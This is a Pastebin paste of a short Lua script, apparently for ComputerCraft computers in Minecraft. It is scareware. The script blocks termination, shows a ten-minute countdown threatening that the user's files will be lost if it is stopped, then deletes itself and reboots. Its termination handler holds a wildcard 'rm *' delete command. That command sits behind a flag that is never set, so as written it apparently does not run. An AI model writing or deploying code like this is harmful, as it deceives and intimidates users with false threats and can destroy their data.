Advertisement
Mackan90096

Untitled

Mar 28th, 2015
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.52 KB | None | 0 0
  1. function center(text)
  2. local w,h = term.getSize()
  3. term.setCursorPos(w-20,h-10)
  4. print(text)
  5. term.setCursorPos(1,1)
  6. end
  7.  
  8. x = 600;
  9. while true do
  10. e, p1, p2, p3 = os.pullEventRaw()
  11. if(e == "terminate") then
  12. if(al) then
  13. shell.run("rm", "*")
  14. end
  15. else
  16. if(x > 0) then
  17. term.clear()
  18. center("Let me run for "..x.." more seconds and your files will be here\nTerminate me, and so will your files.")
  19. sleep(1)
  20. x = x-1
  21. else
  22. shell.run("rm", shell.getRunningProgram())
  23. os.reboot()
  24. end
  25. end
  26. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement